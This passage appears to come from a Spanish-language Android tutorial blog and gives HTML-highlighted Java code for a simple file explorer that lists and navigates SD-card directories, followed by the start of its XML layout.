    &lt;span style=&quot;color: black;&quot;&gt;Files&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;add&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;Allfiles&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;i&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;]);&lt;/span&gt;
   &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;}&lt;/span&gt; &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;else&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;{&lt;/span&gt;
    &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// Si no es directorio ni archivo &lt;/span&gt;
    &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// Continuamos(podemos omitir esta linea de codigo)&lt;/span&gt;
    &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;continue&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;;&lt;/span&gt; 
   &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;}&lt;/span&gt;
  &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;}&lt;/span&gt;
  &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// Podemos poner directorios y luego archivos,o viceversa&lt;/span&gt;
  &lt;span style=&quot;color: black;&quot;&gt;AllFilesGood&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;addAll&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;Dirs&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;);&lt;/span&gt; &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// Ponemos directorios primero&lt;/span&gt;
  &lt;span style=&quot;color: black;&quot;&gt;AllFilesGood&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;addAll&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;Files&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;);&lt;/span&gt; &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// Pondemos Archivos despues&lt;/span&gt;
  &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// Vemos si es la raiz(la ruta del almacenamiento)&lt;/span&gt;
  &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;(!&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;Directorio&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;getAbsolutePath&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;().&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;equals&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;SDCARD_PATH&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;))&lt;/span&gt; 
   &lt;span style=&quot;color: black;&quot;&gt;Archivos&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;add&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;new&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;Archivo&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;&quot;...&quot;&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #4e9a06;&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;true&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;));&lt;/span&gt; &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// Si no es la raiz agregamos una forma de regresar&lt;/span&gt;
  &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;for&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;int&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;i&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #0000cf; font-weight: bold;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;;&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;i&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;AllFilesGood&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;size&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;();&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;i&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;++)&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;{&lt;/span&gt; &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// Recorremos Todos los archivos&lt;/span&gt;
   &lt;span style=&quot;color: black;&quot;&gt;File&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;tmp&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;AllFilesGood&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;get&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;i&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;);&lt;/span&gt; &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// Creamos un objeto que se destruira muy rapidamente&lt;/span&gt;
   &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;boolean&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;flag&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;false&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;;&lt;/span&gt; &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// Usamos esta variable para ver si es un directorio&lt;/span&gt;
   &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;tmp&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;isDirectory&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;())&lt;/span&gt; &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// Vemos is es un directorio&lt;/span&gt;
    &lt;span style=&quot;color: black;&quot;&gt;flag&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;true&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;;&lt;/span&gt;
   &lt;span style=&quot;color: black;&quot;&gt;Archivos&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;add&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;new&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;Archivo&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;tmp&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;getName&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;(),&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;tmp&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;getPath&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;(),&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;flag&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;));&lt;/span&gt; &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// Agregamos un nuevo objeto&lt;/span&gt;
  &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;}&lt;/span&gt;
  &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// Asignamos al adaptador el context,el layout y un array de archivos&lt;/span&gt;
  &lt;span style=&quot;color: black;&quot;&gt;adapter&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;new&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;Adapter&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;Explorador&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;R&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;layout&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;explorer&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;Archivos&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;);&lt;/span&gt;
  &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;setListAdapter&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;adapter&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;);&lt;/span&gt; &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// Asignamos el adaptador&lt;/span&gt;
 &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;}&lt;/span&gt;

 &lt;span style=&quot;color: #5c35cc; font-weight: bold;&quot;&gt;@Override&lt;/span&gt;
 &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;protected&lt;/span&gt; &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;void&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;onListItemClick&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;ListView&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;l&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;View&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;v&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;int&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;position&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;long&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;id&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;{&lt;/span&gt;
  &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// Manejamos los clic&lt;/span&gt;
  &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;super&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;onListItemClick&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;l&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;v&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;position&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;id&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;);&lt;/span&gt;
  &lt;span style=&quot;color: black;&quot;&gt;Archivo&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;archivo&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;adapter&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;getArchivo&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;position&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;);&lt;/span&gt; &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// Creamos un archivo temporal&lt;/span&gt;
  &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;archivo&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;isDirectory&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;())&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;{&lt;/span&gt; &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// Vemos si es directorio&lt;/span&gt;
   &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;archivo&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;getName&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;().&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;equals&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;&quot;...&quot;&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;))&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;{&lt;/span&gt; &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// Si es el regreso regresamos al path anterior&lt;/span&gt;
    &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// Con estas lineas de codigo obtenemos el path anterior&lt;/span&gt;
    &lt;span style=&quot;color: black;&quot;&gt;String&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;[]&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;segments&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;FullDir&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;getAbsolutePath&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;().&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;split&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;&quot;/&quot;&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;);&lt;/span&gt;
    &lt;span style=&quot;color: black;&quot;&gt;String&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;lastPath&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #4e9a06;&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;;&lt;/span&gt;
    &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;for&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;int&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;i&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #0000cf; font-weight: bold;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;;&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;i&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;segments&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;length&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;;&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;i&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;++)&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;{&lt;/span&gt;
     &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;i&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;!=&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;segments&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;length&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;-&lt;/span&gt; &lt;span style=&quot;color: #0000cf; font-weight: bold;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;{&lt;/span&gt;
      &lt;span style=&quot;color: black;&quot;&gt;lastPath&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;lastPath&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;+&lt;/span&gt; &lt;span style=&quot;color: #4e9a06;&quot;&gt;&quot;/&quot;&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;+&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;segments&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;i&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;];&lt;/span&gt;
     &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;}&lt;/span&gt;
    &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;}&lt;/span&gt;
    &lt;span style=&quot;color: black;&quot;&gt;startList&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;new&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;File&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;lastPath&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;));&lt;/span&gt; &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// Recargamos la vista&lt;/span&gt;
    &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;;&lt;/span&gt;
   &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;}&lt;/span&gt;
   &lt;span style=&quot;color: black;&quot;&gt;File&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;Directorio&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;new&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;File&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;archivo&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;getPath&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;());&lt;/span&gt; &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// Obtenemos el path&lt;/span&gt;
   &lt;span style=&quot;color: black;&quot;&gt;startList&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;Directorio&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;);&lt;/span&gt; &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// Recargamos la vista&lt;/span&gt;
  &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;}&lt;/span&gt;
  &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// Aqui manejariamos los archivos&lt;/span&gt;
 &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;}&lt;/span&gt;

&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;}&lt;/span&gt;
&lt;/pre&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;br /&gt;
También necesita de un xml llamado explorer.xml:&lt;br /&gt;
&lt;br /&gt;
&lt;!-- HTML generated using hilite.me --&gt;&lt;br /&gt;
&lt;div style=&quot;background: #f8f8f8; border-width: .1em .1em .1em .8em; border: solid gray; overflow: auto; padding: .2em .6em; width: auto;&quot;&gt;
&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;pre style=&quot;line-height: 125%; margin: 0;&quot;&gt;1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34&lt;/pre&gt;
&lt;/td&gt;&lt;td&gt;&lt;pre style=&quot;line-height: 125%; margin: 0;&quot;&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;RelativeLayout&lt;/span&gt; &lt;span style=&quot;color: #f57900;&quot;&gt;xmlns:&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;android&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;&quot;http://schemas.android.com/apk/res/android&quot;&lt;/span&gt;
    &lt;span style=&quot;color: #f57900;&quot;&gt;android:&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;layout_width&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;&quot;fill_parent&quot;&lt;/span&gt;
    &lt;span style=&quot;color: #f57900;&quot;&gt;android:&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;layout_height&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;&quot;fill_parent&quot;&lt;/span&gt;
    &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;&amp;gt;&lt;/span&gt;

    &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;ImageView&lt;/span&gt;
        &lt;span style=&quot;color: #f57900;&quot;&gt;android:&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;id&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;&quot;@+id/imageViewIcon&quot;&lt;/span&gt;
        &lt;span style=&quot;color: #f57900;&quot;&gt;android:&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;layout_width&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;&quot;50dp&quot;&lt;/span&gt;
        &lt;span style=&quot;color: #f57900;&quot;&gt;android:&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;layout_height&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;&quot;50dp&quot;&lt;/span&gt;
